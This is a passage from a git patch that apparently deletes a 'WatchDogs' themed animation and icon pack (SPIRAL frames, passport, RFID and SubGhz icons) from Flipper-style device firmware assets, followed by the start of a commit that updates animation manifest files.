11 12 13 14 15 16 17 18 -Active cycles: 0 -Frame rate: 4 -Duration: 3600 -Active cooldown: 0 - -Bubble slots: 0 diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/SPIRAL/frame_0.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/SPIRAL/frame_0.bm deleted file mode 100644 index 91f8a999cc9c3e4c29cdc6b4c81dff72b6b673d8..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 115 rcmZQ%$Y=Q9V8i%;pP_>JfE>dIb`m(O`~NrowrBrg-};YejVufRlei`% diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/SPIRAL/frame_1.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/SPIRAL/frame_1.bm deleted file mode 100644 index 4b87fe29006a1b063e7a7143576c331bcdffb692..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 144 zcmZQ%=wbNZV8i%;pP_>JfE>dIc0wE-`w#p#>>K1a$T8R-{QcoT^QQkihnv51@V^(6 t|HJ>GuBP#y{yz!(iWrl+!#WIqn=%-Ge>~p&{rr3OH}((sFW@(y0RVVWIBNg^ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/SPIRAL/frame_10.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/SPIRAL/frame_10.bm deleted file mode 100644 index 7419da504c7a15d868ea092e76965707488ff5a5..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 641 zcmV-{0)G7g0DS_V{6Fvy|Nr6y5GeqLAN-H}FZcjRfChg6{(s;<=zror_@D3r>L?f( zbbkR6pZEcz4+anzVB*pkm^^S`A%l&CHeU!h%)j9ykCQ}}UI2K(!QvoJcPoG7y=YSqKqJTk&X@z5HOwu9%jK9m^?s) zx*y|USVDdvaKHqF4G?;!1^6)XXto3bUkLx<95eFhgoHLAkqD4HfFdjs=>G!Z3qZNF z3I-=2d63A8K=CA~Jj&w-Mhj4k;tymfvyh4 zK_bsUd&j{d??8Ki3A!Nn|8W1n;RTKS9*BVmj|@Ch^dPB+;s5+Y#3hIRgT_7&kO=<4 z<@le2*aBZLc!5M3Aoq{+f#M|)XpGD89|wq}alr9_|AC@28~6-><3Emnujt_mh&}J| zkAyuOAn_ECY)a(N7z_ZEBoQQ$j6vta2an_b13ZvCMk1#XP{+r@4;4v6!Q|N}{r}Km zA&7&;hHwU8g#-W~VRVcfRv_^`5B~<>Auxl;2q6(93;gHcff$Sr1OMQK1hyaoEeRm7 bVDWwo9C~0=5RL?7BcYFh!~jq=V1dVi>~{&O diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/SPIRAL/frame_11.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/SPIRAL/frame_11.bm deleted file mode 100644 index c26e7a40163dbda861e8f8600997ad3603902610..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 658 zcmV;D0&V>P0FDCufBZlAAH)6tD1QV02mVL@pYUM70D=H1{s1IDiU0Ed@V~%6!1DtL zJpa@17=i=h~P*<12EY5FaP-XM0^9WEC~!rqkja5%zx1Gh{3_)3K8hv z#H9xSiOgUi@h*t;f8aqHhy+DKi81Jd(*{=|@el}lSP*#dLE|I%Hww5}#Xkp-G{1&Y zUl7zm;#&}De}E#r76_fl+CcMKi$Gbzrx1I*g`h0q2e5QO6z4;Fy~&pZDQkeGi4VF#E5LFP6f zdIAI=Y@r99d>*}ke}m5s50QAg1Ruol2cA41z%d7q7)RsK2agZ@j}Uui0qCDDI{kA$ z{eV1Lf)5@TJ>~%MQ3)VH?YaNhf6F3z2tA`B!TwLoLJxoR><~T}e>?xc|L{bk4_puW z_M8|D1KocIkA{8^AK*N0f9QOBf%gZ9v_a|oyZ%cAMPxG}XyC!; z0Xm5+f#g>gpnwVhnG;zVOmsisaL?cXVMUNMROC1ic*oho$q>MYNDwKaIGh9`O;QJq s`~)Du35Yy^;ubsn0J0z<3=k+lh9nnofCQ8wp}>jB5I`XZm->D>Fur0SMF0Q* diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/SPIRAL/frame_12.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/SPIRAL/frame_12.bm deleted file mode 100644 index c82f73459cad067d187e765929fd831f504b96bc..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 651 zcmV;60(AWW0EYsD|0Dhn{2$@}1c(@6|BL_P5B`UP2gCpW-{2eoc>FK_2pDjGAMl8P z1`h!Lic8@E|G@v3|L{Dc@DKF-9zF~RJV4?OA%PD>WIh}R{6akZ_(0$zQ3ekLBp~tk z`@!c27Kl7}VDSPE@8S30il2Yfb*Y*1lTxmdC$w{P!M^4u>S)gN5O*t1_%sD zL;S~s#H={+2&;rqNFnRz*QY_>LksQDHH@N@^8aNPnfdn2Pp;C}g zKq3qf5dcIUFn6efL{uR3;FW|JAt8a1h#wFDeIbp!Nr4E6JdlL8DFb*x;sFxShfS<8 z{KOrwLJ|kKG(r3FhyNPH51-J4LGvH@L;o@Vpg+O>5BPdS$?Oj=m_FnG7=P>^o-8;& zC-5u>_urMjl-haQxQ74=>;}KqDVMkN@HLV-N&GVjU^?KS1I_}jCV>rv9zYPV6pH`= diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/SPIRAL/frame_13.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/SPIRAL/frame_13.bm deleted file mode 100644 index 48b89c616ce625edf0b6d3d1852bbde3aea0203a..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 656 zcmV;B0&o2R0E`0v`Tx`W2mAn>AN>Eo1s|XKKfneT>;y1B{rnPFzw|sRPyrc1!RbE( zkHh~D90(A<-|(qt#N+${2s}eWKLd;e9)WQzrTiY8@F7pZ<_#UdX#C;9|Hr}S`2UcG z4i78&5MbfKzrYNm@dOBver7^}naBoSGth&_;*=-|q)nnGA3ydUG#|`-7$mYOk!V3; z42lyVJ!5Fj_1N_hY!(u=GKq zh!%kY1u!7@MHl=~AoSpiMt%<#fnoowfnE*_9w5>9GfV%E{Dbx%`G7gZq9G8Emo&Nn diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/SPIRAL/frame_14.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/SPIRAL/frame_14.bm deleted file mode 100644 index a1324f035823a4f322229b480d943191d8e57687..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 640 zcmV-`0)PDh0DJ<#f8c-1`~%_t|HI%P>Hh=&@c|46{U7iHhyD~F#r!xwFi^k)L-+@f zTttEj5P1a#5B>+79277g|DWN17>o=YVo?Ma``!-_u<$|YKP?bEe-rR{lZ>EaA^vm! z5%CCkx6ybcy#r_csm_ecsC76T7R6ucW z2t6=A|H-6Z=Gib{fQx!F6$ukW6hQI{4skL};&&K4hC|L=i#*=u`5-X!#AFXs;DL|N ze+QtfQ$i0Ek$C6pvP2j>Kq3!9QE!2w0UzK!K49{IAVeN6p$DhM>?{HBf1%(J2bf?% z1NR>XkKiIR@Ob3a6kl07PN!Vx4P21$G{fe?&H0wL0ehX^1ep#zA7nuP8Vpo7FzF#p4-T7m^5 aNW;P6f)pr*Mt%bjc!q?4MiGIEL>eH({}s3Z diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/SPIRAL/frame_15.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/SPIRAL/frame_15.bm deleted file mode 100644 index 9eb53dc3cd28f5a8de7b91201a99fbff02933799..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 636 zcmV-?0)zbl0C)ob;6LzxhyH#DALsr*;QzpX|NaO51_~HBJVAp$1sDGQ1Q-wa1R(Jf zjr;^KKlJ=ABQd{@Oe!FOgM-K57AW{U{{n)C|0Ce>7>M|O03sHYKk*;@3`zzm5nzRg zIzNDk8HfZR!5auHz5^6K5(tH)O%WJ@NVY~Y43O+hA~hjUfC>UhEBHN0LI5Zq;2Izi zP>Ga{LI5Bro=boaBG96Q07h{Kt4vx1bS7~T#{q!{pZfmUP+;IdLKGLNW78rCObE!D zKtkKiI8@dKEQfTjT;c%%d_K#>R7 zEX1f+5P1?zA7Ai&|AG3cADBFN0QMG;JbpWHc$iEcj8XsmbYT6A`GNbL^MlzYAoSd9 z!Rhb^yys*OC3%C}v#|%!ynp!|fIYv6_3`oV=|_7n`v6EDDw6*KP0C@h2aps%VmT0bfJeX&5JlFe}DtV z0shB>(*6$-Xuv;{@Oa_IWBv!4WI^NLgNTQQ4=5NtU@!;<1OMY8h&-C({{;*T9w1@x zfrJ7-5PCzw;(`#+gU}i<6<~wJ8Z1Es4g?-J5HSCW0!|zF6hT4{AfTdz1Sc_{_k~5k z`HcwZDB%DOf8I(Ud9{U{Kmq6c&jrByq=X(T;s6iN@~9MG`N8A-kB!6tSN2f@#Aq*p WU5GgE;c;{bJb$23XAnT0#QY#jeH8`( diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/SPIRAL/frame_16.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/SPIRAL/frame_16.bm deleted file mode 100644 index 75930f4127681a5af14724b15fe0b4ae9cc1fbbf..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 626 zcmV-&0*(Cv0B!>KU-%#RI0!%m1MmQc{SWw0z{T(foIEgJ$p7FTP#@qt=lB45fJ8Vj z5AZzi@Bt8qNB9E}K>!deA+ev3NBKV|AwYp5T_5nwh#~+Xn8C?qe*%e&zw!77OQ{P-+OLJuP$z#0WVgO&>p4<`XI5*(@^ zn5>0JMq+=EJfYz80EA%i$mXL)>Bm5P1A2{t5rX|M-vo0p}kFkKi9L@K}SyCL$3B zulOD)(MJqCc0UXFJfr{MIFy9kAyEa5{O%!92Z>x~|H3GWL>`m>@+^P^lM~p5gdS?L z020hh;tv!lf16|gARwK{HX!jG3G%>XLlU=b*=Vsii8$^s8F2#iO9mM`_( MQZNv3iv?^#5uTh1DgXcg diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/SPIRAL/frame_17.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/SPIRAL/frame_17.bm deleted file mode 100644 index 57d647faa09e0d35d7472a6391c946b56094a4c4..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 615 zcmV-t0+{^)0Am7={6FwN{rnPt|M&=D|H%L2|A7C`!RP${z<Q}96sgoH|RKArpoCBcE1iH=MH5r`N|Lk9%97Cw3Zz#f1x_yfcSJMei&{{Zm-mw+BH zaG3nT<`EzmtO^D*ADnz1)A#{+UTn0APUz0CN!8h(rP-(SQI5WF(U?hy+37 z0S5|rS7HxF7?Va04-lZw(BgX$*n`A0Fz|Srh90RPc?U#vCIK%LJmw(s|AWQ?S{Mk7 zfA}{!K*8b(7zk`1%Kd#Pr?)-p##h`BB8*8#E3BU@jM8$cmV&! B27CYj diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/SPIRAL/frame_18.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/SPIRAL/frame_18.bm deleted file mode 100644 index d28a84762e4a37f6718e41857c58d59343c577cb..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 518 zcmV+h0{Q&`00IL4L;oM}ApgJxe*+AE`G5aG|C9ItIKTq{1drnX{|AhJfE*xsK>ri} zfE0!!;0=(>p#KZ_Jiz7upU~-;PhxCIDzJK5D7F88Y!~#gGDMJ5eJ%pKqL<}IRn@J4#AAK?E7@coPS5Ac73{|AG2=sd6i5eK*a1OMTH1Y$t<1rG!WVi5o!bVEcB z@u7f30D)m86da6z_9PF0=w^Wj8Q76T51INPf#v}(;5|G5(EyA;_zy3@JmdZVh=4>M zaQ}cjz@iT?fIMOU;K;L+@C^`oegY#OSR@P%KM4Qe0$<7cfgmE02ADjr@Bn$h2;vPP znHNR?a4GmuPU1TddO%DC4;l%ig<^vcc)-d810^_wL>@oz;K9dYLl8i<#2!Im2aJ9I I03tC6NZg{+P5=M^ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/SPIRAL/frame_19.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/SPIRAL/frame_19.bm deleted file mode 100644 index 9ee10bad6a21027aaa19013882f5762eb6992a1e..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 479 zcmV<50U-VX0NVkB|2zMG{0;#?1djv%5BOjF5I^_-^Z$UrKmYg!1OFcfj{*V-AK)y0 z08xX4#(&`dgUbK>pTGh_3=klPNB@8ljQ{-~7Z3noKa2PjNnWJWhk~OArAd;PL!N{}b>SgW4XL5Ll}R@IxSbipTg75h#PyHbC?$ zh&@4KNfu!s#2**)*q}%Jl@NNq1Rjb~2fzP-4-_bXL;%3^29s1k4Y&u2l-A+^ZO{FZ zK+$I~0A?Yh0Sh^R12YHsKdxZ&;J=(6U+fqVPD1Wr0Nv4q5Ac1f3?JbC2lzk1<39(_ z@E^1AdJE(q^YVWK{2$=|kAwUkd>j7&A2=`|;6x%1fMEmf9uMd^J#YZ`$AiqIAVL5x z95i6@fP>t+BcVAF(0~iWMi4yz!1myS&JGa}d#Z>YaDU)EfuaE);50$*4H@_Ze~|D9 z{vFNm0FXSR{{?e=0V6;BN5CTRVK{=w0#o(_5yTopGQWe^?j*7YiHuqe0X&dAOr!sR V8PsGA87&t=j&iDWT diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/SPIRAL/frame_2.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/SPIRAL/frame_2.bm deleted file mode 100644 index 8ea8a8fd6dc7df5157a36169ce31c6bcaa730d5c..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 200 zcmZQ%IKuG1!G`exKSKrc0Xc>b>{vMFcVu_`sjyEl{{O-1`3L^?2l9nK*qa~l@33KJ ze9V4_|6nuw`$zW2_0vE7Z)1PBrLf_514Ekx{~iX8M1@!TKQJV72L#w3{9pgUxXq6L zL%s9C-~ZVk+BE*-|6yS_^*MX|7vB9h%>Ug#;=(XP{!v|!LT!b@KZe?a4+I$MoDV+! bz<#Gj&i+8{{ezF@ZElp_u)yUFhFe7d^kP|* diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/SPIRAL/frame_20.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/SPIRAL/frame_20.bm deleted file mode 100644 index d5088dcb6e49e78ebfb10bb03a22a379ad23cf94..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 343 zcmV-d0jT}~08;_~z<==n2mAn#e~1471rT_F$N+(Iz=1?0FhAfuWBdT&U%-X_2d(@x zU+eggNMZnBK*9gh@OY630HmV+PyPcE05G&+|H%Kseh;7IKk*;@3`hXN(FTY_kIaA| zSqwx9Aom@RKmG?18i+l~B8?DvCz(J%^E!||H~{g1gTx%*0Yr}g8Y)o$LgaW45qXdS z!GsU+5U-(tK>r7cNP+hQIS4+JLJuc&1JOi4{|DS3z~T^mzXTuP{|ER#!T$&NPyYb_ z2h4x@5BNvH{tv-;hx~uw{V)1IWA6V4_&@*P{|D|o9#{VWK5*di-~;vs56(D0!R7w| zhyplZ@xX)k0uRp^JisCVkBC3Pg9HD-LG$<7 p=l<|`!~c-+sDK(j_kIXI^WqT)kK#Y@2fsh|3mEu3ToK3qgG9C^quKxf diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/SPIRAL/frame_21.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/SPIRAL/frame_21.bm deleted file mode 100644 index eae8629fdc5f0bde3697cfbab8b34ceb5a665bfa..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 255 zcmV!hx{kw z5dcIV`49X@{s8%h|0Cf228e`#@*5fWJb!@vFo-^jV}A#Vx)uZvBbbBhfqy}WIzR%O zAb;RN_S+zS0|+1O>LwsR!TgdCeX9f?;Qzn;0rwC8Pr>{A2mJr=5Ac73`}hy=eaHWR z5fAu(!TtUR=indU|DS{Oz99bx_&*Wk5Ac73{2$={zk~7*{s;I!!TClfF3vh;67*I@puS6{uA(c{sHqJ F2Z$@ue;EJ( diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/SPIRAL/frame_22.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/SPIRAL/frame_22.bm deleted file mode 100644 index 19e553a6218cf070b6ceca4ca8064bdc99e5041b..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 175 zcmZQ%Sj{m1hy4St=KqZU<$o~0lmF5GkMSF?Ku7cEhy4GT-_?Im=&-jDsQ+O1{vU^g zeT9HQX#;yBBl|mMCjL7d_CFZ@Ha7p=+wi|a!2aO>5A1Jj9E$AMp1CU;GpQ#Si!o z&*dB+-0*(=f&Whj_&f8-n=JPH4@#t+NLiKj0J~eF+c&5Hryo1Rr0(7|+4=2mAoWKi~(^G)g7_h3Eg1Md zS3{4F|0nDSfr3T@Kl}hhA0Ouc{5}`(d>%!*J_8to>6kcv2tIHl5&UoPfBnck)x!b* zU(v%c2hb2;!1>@h%{((Oe6$E3@c-n^VAuZy{lGx~2aMbwF9H06_J8_t2tMQB{|Eo* zf8XGK8~1<@I6v@4D)1?BW6#Is-yFDEQG73}7gEQ4$O*CIJ8; QoIL;#qoCkQ;b0g5z-=d_%>V!Z diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/SPIRAL/frame_5.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/SPIRAL/frame_5.bm deleted file mode 100644 index 0b30ad81601bdbcb38efec6870f3071adfadb4c2..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 475 zcmV<10VMtb0M`NkfDRrBKY%F!2?KzBBk&FYK43Ti848pDckx+_$NUd@_$b1I{0F>z zTtfo<1Ku7=NFRV6@N-f_!SMqWqUoa zw14yRuz*A!zvw^U3NiE{1Jy7v^5}s_;Fb`3e<9(Lf&LbP4_83P&H{4~c>DqE2@qhz z;2-GtJ)`8&Ukd<&;tycBz(K;ZAbSnU1`iUDmBb#VavqETC`wWXplC`101gZU9?Elp RfXL`h2O}dnng(V?@&KHZ(18E| diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/SPIRAL/frame_6.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/SPIRAL/frame_6.bm deleted file mode 100644 index 6d5564f7c76759a69c6f48aa2b09b965ae2fe20f..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 544 zcmV+*0^j`s02~7UfChiy0uTV8AK*I2|A2LYf!ZDyC=LJyFn_>3apEEz2ryy)0D9rW zL=O@m$H?vD7Z5x~13%yc*W>@cno|BlAOYV8#sCuNp9}z9;z*N3Bp~sCgOdNxJcy*A zCINw@5FStyNgGKZ-f_U9Nor7VdUyV1;S?48+A#G3{O9I`z=PlNh*%leRtfL^Di#hx z5PDz#jD?4kj2?gIK|sbsANSwE=|2aGsEk4f6A=T=Edfz=JslxM)lyBpKK}c;;eNhzNn=1|R_N!Q>by zKl*3>2eD{)AoBiA!SJX!cs>}y5BvLoq5p~h@E)EuP=HJP4>Fj8%fby9`@nwyF$dqj z@(Dc2brj0;PFujAi?cF2an(yK=uD7gt{gYOCq3w;u{zkC{}_I5PE+h zhKq_0nR>0P&k9qJ{J?ZKt$q45PAFyqy7U35QQQSGATemfMRF~ iWI^o#C=)=SVDv(i41iD&F%5_SK*3)LY*+->5CDLGVDIMu diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/SPIRAL/frame_7.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/SPIRAL/frame_7.bm deleted file mode 100644 index 18372677444b17d5d069f9d6a4d1883442e24d8a..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 572 zcmV-C0>k|Q05}5w|Ka}+{00I1pTIBxp#+Ekp#P8j1Aqn~(Re}U0}YT!fAR4c|M(#D zfd7F)1}pebxM1`ki0FXiJscPu!Gj0z5zq=SFgcRO20kJI0tjwkVStiE08{Zne}Kd$ z5^;h=pd^6|5IjKyA`+264FV4+|G;8O6GRk!4u6UGJeH>i2c$poA2${ZNK1hgh&+O# z1r><@38X0yc?m=gBcX1J*uDm`Igmt2!}!mEL>eIX7YQ8CBo8Pb_yQ`TJE7#(Vhh^$^Y;vl6#;aR-^VZp9Q8YH0ykx-Xrc@x0| zNE$|i$cTk7Arl9hn6U76K?F!1@OXOIf$*Lf1mVme^$wEgpc4mK diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/SPIRAL/frame_8.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/SPIRAL/frame_8.bm deleted file mode 100644 index 91f09a3c8103684e2709974022cc374b0dde304e..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 661 zcmV;G0&4vM0FeU!;D7LchyMQn0gwJ4;071}0sn#j0YVrb_x?Y?|G+~c1Rzkr!QvDd z_-Mb^@ga+Z03!k(2s~%t@e2%m9zbyilppy&_+P^!J}3ZGM+Fc5NB#j33kftvLPam+ zKk**`i6mepK{A-ML82ibz`#EM@sHmI!}t}5JYnLrF^}W?J24o;&jtW5i7fmOfA$?P zU;^>}L86Tic=^``04_hw8XysYg~gy?0>}B+WxxlcK!QV`5s-t#Oe_I!lzea?5eJB%Kw=0$df&n4;rGYH zg2)tLgUFa7p&kniLF$qpa+srt;c1Nj_zyY%nW!`T@H}8Yzt=}_y>#pz$6bZ|HK|&fO-Q(&OQKmipVNI@W_MA zjv(^*4#XZpQU|&$LE{4kh&_B_(!c}80y_{11JDLA5B>fCgAizd#8N&q$cF@^Ao2i| z3?4i&=|Ff85s<*a?g}Ub01z-R34_R*P;hvS2p(8G5C0BLDEK@~h7lYHJm5d#Xuv;% zVg?QbBrtI>vxWjA8TjZzBY+tUJv2+w8Hof!Bftldm|MiaF9G0z&R;zuEHqkoNIGEh104LG zEaMCaXo!a&U=uitL=Pe{JwyOZ;VcL|P(-dAI6T?Hnh*$sMGQak@dMNN4?{rkUFOIj zd9ef(A`yU-MZ6&K0EjeL!~qugh=d*?5(ko?SERlWxPn9;sNs+37s3xtO@xh{pAqj)i{bLh~+(GpdLx?}Y^raZe_;3Lc2h4OIs<8)` z{2y5Gc;G?)58-|Phvr|ff22hpp#OW2KHj77hr8N-4hL z4af?Ai}*Z3Vh?}_|H0$@5|BMWCI5iH9AXV1c@Z1_5PCgCIz+($5D-Ko0|N*&Kq49tIEe@vAoK(b1pq(wkb#6A zcn~o`&H{cA7={EGAoVB|4B{dY2au4T!vHgj08IiRA|a^-d@KSe0000z000010NMfkfB*k&_%Z&U-nV~j41ecdf3??x9`*nI|F^)$?MwUl zy;w2*oo~0ke*q@G&ig;o24AJh>ixvg{PC9uUjha;(^cE={-H$IweG(8_&71W)~m1f zZ+#~=^RKS=<8V=MV*RaGz098QCU5S4-_{?z1HFIU)kKT{7HI$Su;63;%%dfZgCBqY z&(h=I$Nm3aqZt{;U;kE@gC5`i-BshEm<ZpQHvrbou@1Q^@s;o zeffui6To0BMWgnbT7WRDy}sNW7@L4$X02W@V)OxpCCc!Di{t^9FG+@NuMh@RtFAOM zwg4GksY?Cbs(njGaPIM7z+$#$Jzv-^U|zyH4l&)44$r|b$>?%w$NpLD5zKL7A3kVFc9&pNcf%n<^MKv*Ip7J$Hi vh4BK87x?55i247(v2+*yE(I0I3QN5E7$_8IpZfdks2^xp6rdPL5EQ@$fUjKL diff --git a/assets/resources/dolphin_custom/WatchDogs/Icons/Passport/passport_happy_46x49.bmx b/assets/resources/dolphin_custom/WatchDogs/Icons/Passport/passport_happy_46x49.bmx deleted file mode 100644 index a445a8f7ba946159be2d2dafdbe40e01375fe280..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 207 zcmV;=05Jb80000o000010K)(PKjIDrKlFSGfBX0lupj^U6u1CUfPqKA1sE6Sl?E=O{hH8X zs=BfY_BzzM1Xo{5Ppg1}TCp)(0*=h=cLUbJt&?~jH=fVRzl+xuOBz$qZa{cGp_=y?Ei zDCE?2V888rg8>S^gAeU&knN%PO9q2}3_IXRZ_xOTYXx5$hyZg^{0DpYD}Z7)<>3Gh z+IIl@fB)bA_+>Yl_($R$+yDLQP*7oh#KW+K|2y67JQ*Buxd+k(uKVuvL6h&(;98t7 W>w9*zgAes5)K#^+Z?|rT3kDFKLKc+( diff --git a/assets/resources/dolphin_custom/WatchDogs/Icons/RFID/RFIDDolphinSend_97x61.bmx b/assets/resources/dolphin_custom/WatchDogs/Icons/RFID/RFIDDolphinSend_97x61.bmx deleted file mode 100644 index 51446057af4d1b2e3447e0a5a7c4a01949f713c2..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 532 zcmV+v0_*)@0000z0000100;trXfN?_Wb`#!;AGx6^H5~<`rYtca5wwi)Cd^#4zI7= z437ogzqSl?E=O{hH8X zs=BfY_BzzM1Xo{5Ppg1}TCp)(0*=h=cLUbJt&?~jH=fVRzl+xuOBz$qZa{cGp_=y?Ei zDCE?2V888rg8>S^gAeU&knN%PO9q2}3_IXRZ_xOTYXx5$hyZg^{0DpYD}Z7)<>3Gh z+IIl@fB)bA_+>Yl_($R$+yDLQP*7oh#KW+K|2y67JQ*Buxd+k(uKVuvL6h&(;98t7 W>w9*zgAes5)K#^+Z?|rT3kDFKLKc+( diff --git a/assets/resources/dolphin_custom/WatchDogs/Icons/RFID/RFIDDolphinSuccess_108x57.bmx b/assets/resources/dolphin_custom/WatchDogs/Icons/RFID/RFIDDolphinSuccess_108x57.bmx deleted file mode 100644 index 14f6efc320204468badfe5c34bbfc720c7cdc201..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 485 zcmV2a^N_x6{`}z(I9!plez!vAP5+S0x6v^V=@aV6|GI!+bTe{RC>Sl?Jw>{hH8X zs=Bf>b~@C$1Xo{5Rkrf~Q>g1}TCq!7KDM5wZogIywe!C;s^@n7XkayZoA}rN{~e|& z-)+~Az&0I7frY#JplHb;lkjT(ExwrjSHoQfw&QQr&w)l@4O|Dp`?`)(0*=i7oQZnST|?~jJWiq_44+xuOBz$qZr{cGp_=y?=$ zDV5Z9V888rg8>S^gH!EnknN%PO9q2}4NKrqZ_xOTYXx5&hyb%v{0DpYD}Z7)=1~9^ b+IIl@fB)bA_-%KY_($R$+yDLQP*7=rCnf`( diff --git a/assets/resources/dolphin_custom/WatchDogs/Icons/SubGhz/Fishing_123x52.bmx b/assets/resources/dolphin_custom/WatchDogs/Icons/SubGhz/Fishing_123x52.bmx deleted file mode 100644 index 7c576cb7bb1e3cd238851d215f87387f5a78f7ff..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 438 zcmV;n0ZIOQ0000q000010IC517NhqA2j^3M58GF?9g`1l{sIrVX6sZBy#`lb{tsP) z|Gw1$Mg$LzhN`PA2i;@8zJ&osf_x;e~_B2oHYkYib`bd|kHv(fI@8 z0o}EJ!RH7Mzuv922cN(k)D8VtR6iqpU@cW!tP~71C3Iiqb(isAf$zW%ja9r*NElFn z2T-r-ZGiLs3*PHh)Pu;~77F=%K*bOTzoToa+Xu?Q0E`3IVSme7j>iE)5CH0)y;p1w zf8ikj58;06?VoS}EZ1LaeGM>ucfP%J3xWTGgWh?6*8btT53+TD19kP<_3*C;egqGH zReQUAjs8A_DDQo4dYM&Y{!fdoe`|oK{-;3r?frPr3I~234~@3}TC5w~EFT`buq=2T z;QaReyJ!}J?v98BuYa$Ve{ZPhfOmei>Muk751qGvca^(K+4E}p`?X(T^uRis{r<1| zUYG^j>wDMjx;e~_B2oHYkYib`bd|kHv(fI@8 z0o}EJ!RH7Mzuv922cN(k)D8VtR6iqpU@cW!tP~71C3Iiqb(isAf$zW%ja9r*NElFn z2T-r-ZGiLs3*PHh)Pu;~77F=%K*bOTzoToa+Xu?Q0E`3IVSme7j>iE)5CH0)y;p1w zf8ikj58;06?VoS}EZ1LaeGM>ucfP%J3xWTGgWh?6*8btT53+TD19kP<_3*C;egqGH zReQUAjs8A_DDQo4dYM&Y{!fdoe`|oK{-;3r?frPr3I~234~@3}TC5w~EFT`buq=2T z;QaReyJ!}J?v98BuYa$Ve{ZPhfOmei>Muk751qGvca^(K+4E}p`?X(T^uRis{r<1| zUYG^j>wDMj Date: Sat, 18 Mar 2023 00:09:57 +0000 Subject: [PATCH 146/329] Update animation manifests --- assets/dolphin/custom/WatchDogs/Anims/BOTTY_CALL/meta.txt | 2 +- assets/dolphin/custom/WatchDogs/Anims/DEDSEC_AD/meta.txt | 2 +- assets/dolphin/custom/WatchDogs/Anims/DEDSEC_ANIM/meta.txt | 2 +- assets/dolphin/custom/WatchDogs/Anims/DEDSEC_ASCII/meta.txt | 2 +- assets/dolphin/custom/WatchDogs/Anims/DEDSEC_LOGO/meta.txt | 2 +- assets/dolphin/custom/WatchDogs/Anims/DEDSEC_OLD/meta.txt | 2 +- assets/dolphin/custom/WatchDogs/Anims/DEDSEC_TALK/meta.txt | 2 +- assets/dolphin/custom/WatchDogs/Anims/DEDSEC_WAVE/meta.txt | 2 +- assets/dolphin/custom/WatchDogs/Anims/FINGER/meta.txt | 2 +- assets/dolphin/custom/WatchDogs/Anims/GUNS_CAR/meta.txt | 2 +- assets/dolphin/custom/WatchDogs/Anims/HANDS/meta.txt | 2 +- assets/dolphin/custom/WatchDogs/Anims/JOIN_US/meta.txt | 2 +- assets/dolphin/custom/WatchDogs/Anims/LOGO_WD2/meta.txt | 2 +- assets/dolphin/custom/WatchDogs/Anims/MARCUS/meta.txt | 2 +- assets/dolphin/custom/WatchDogs/Anims/MUMMY/meta.txt | 2 +- assets/dolphin/custom/WatchDogs/Anims/REAPER/meta.txt | 2 +- 